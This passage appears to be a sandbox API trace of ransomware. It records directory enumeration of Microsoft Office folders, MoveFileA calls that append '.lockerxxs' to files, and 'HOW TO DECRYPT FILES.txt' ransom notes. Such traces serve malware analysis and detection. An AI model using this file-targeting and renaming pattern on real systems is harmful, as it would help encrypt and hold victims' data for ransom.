cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0061.795] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0061.795] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0061.795] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0061.795] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0061.795] FindClose (in: hFindFile=0x4f8120 | out: hFindFile=0x4f8120) returned 1 [0061.796] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0061.796] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.801] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0061.802] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0061.812] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0061.812] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0061.812] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0061.812] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0061.813] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0061.813] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0061.813] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0061.813] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0061.814] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0061.815] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0061.815] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0061.815] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0061.815] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0061.815] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0061.816] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14532_.GIF", cAlternateFileName="")) returned 1 [0061.817] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14533_.GIF", cAlternateFileName="")) returned 1 [0061.817] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe7b7100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe7b7100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14565_.GIF", cAlternateFileName="")) returned 1 [0061.817] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb38a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc92c1a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7eb38a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14578_.GIF", cAlternateFileName="")) returned 1 [0061.883] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.905] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0061.912] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0061.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.lockerxxs")) returned 1 [0061.922] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.927] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.lockerxxs")) returned 1 [0061.977] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.983] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f827a, cFileName=".", cAlternateFileName="")) returned 0x4f8278 [0061.990] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0061.993] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*.*", 